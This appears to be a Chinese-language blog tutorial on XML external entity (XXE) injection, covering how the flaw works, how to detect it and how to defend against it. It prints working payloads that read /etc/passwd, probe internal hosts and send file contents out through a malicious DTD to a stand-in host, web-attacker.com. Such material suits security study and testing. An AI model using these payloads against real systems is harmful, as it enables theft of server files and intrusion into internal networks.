• XXE外部实体注入漏洞总结


    XXE

      productId=1&storeId=1 ,当我们抓包分析数据时,有参数传递时,我们不仅要测是否存在sql注入,也可以看看是否有xxe。有时在前端是正常传数据,但是在服务器端就会将我们的参数值嵌入到了xml文档中进行解析,此时就有可能存在xxe漏洞。

    漏洞原理

      XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害。

    漏洞危害

      1. 读取敏感文件。

      2. 执行ssrf漏洞,进行内网端口探测,攻击内网网站等。

    漏洞检测

      1. XInclude攻击

       一些应用程序接收用户的数据,在服务端嵌入到xml文档中解析。

       这时我们无法控制整个xml文档,所以就无法定义或修改DOCTYPE元素。XInclede是xml规范的一部分,允许从子文档中构建xml文档,从而进行攻击。

    直接将参数改为下面的值,
    <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> 

    原来的参数值就是 productId=1,我们怎么能知道在服务端嵌入到了xml文档中解析。所以,遇到这种参数,我们除了试一下sql注入,还能试是否存在xxe。

     

      2. 利用文件上传来进行xxe攻击

       docx和svg等都是基于xml格式,如果图像处理库支持SVG图像,攻击者可以提交恶意的SVG图像,就可以利用文件上传执行xxe攻击。

       创建具有xml代码的SVG图像

    <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

       将此图像上传上去。就可以在头像中看到/etc/hostname文件的内容。

      3. 通过修改请求包的文件内容类型来进行xxe攻击

       有些应用程序会允许xml的内容类型,我们就可以修改Content-Type: text/xml字段,来利用xxe漏洞。

    复制代码
    POST /action HTTP/1.0
    Content-Type: text/xml
    Content-Length: 52
    
    <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

    原来的请求体中的内容是:foo=bar
    复制代码

      4. 读取敏感文件

       利用file协议读取服务器中的敏感文件。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    #在参数位置输入&xxe;就行。 <stockCheck><productId>&xxe;</productId></stockCheck>

      5. 执行ssrf攻击

       利用http协议,让存在xxe漏洞的应用程序向与它处于同一内网的发送http请求。

       也可以利用其他协议,例如:ftp ,data,等。

    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:3389"> ]>

       6. 带外通道技术来进行盲注xxe

       一般情况下,虽然存在xxe漏洞,但是不会回显外部实体注入的值,我们就要利用带外通道技术。(OOB)

      攻击者在vps中放置恶意的DTD,让存在漏洞的应用程序去访问。

    恶意DTD(外部实体)内容:访问http://web-attacker.com/malicious.dtd可以访问到改DTD
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
    %eval;
    %exfiltrate;

      向存在漏洞的应用程序中输入:

    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

      7. 通过错误消息读取文件从而利用盲注xxe。

       通过触发xml解析错误,在解析错误信息中返回我们需要读取的敏感信息。

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;

    漏洞防御

      1. 使用开发语言提供的禁用外部实体的方法。

      2. 过滤用户输入的xml数据中的关键字。

      3. 不允许xml中有用户自定义的文档类型。

     

  • 相关阅读:
    volatile底层原理的再次理解
    MySql整理(基础|进阶|运维)【黑马程序员视频】
    【C++】从零开始的CS:GO逆向分析1——寻找偏移与基址的方法
    Spring框架
    不同数据类型在单片机内存中占多少字节?
    3.1-OR59 字符串中找出连续最长的数字串
    Scala中编写多线程爬虫程序并做可视化处理
    Linux ARM平台开发系列讲解(IIC) 2.7.1 IIC总线驱动框架分析
    Django文件上传
    C++:类的默认成员函数------构造函数&&析构函数(超详细解析,小白一看就懂!)
  • 原文地址:https://www.cnblogs.com/syroot/p/15914826.html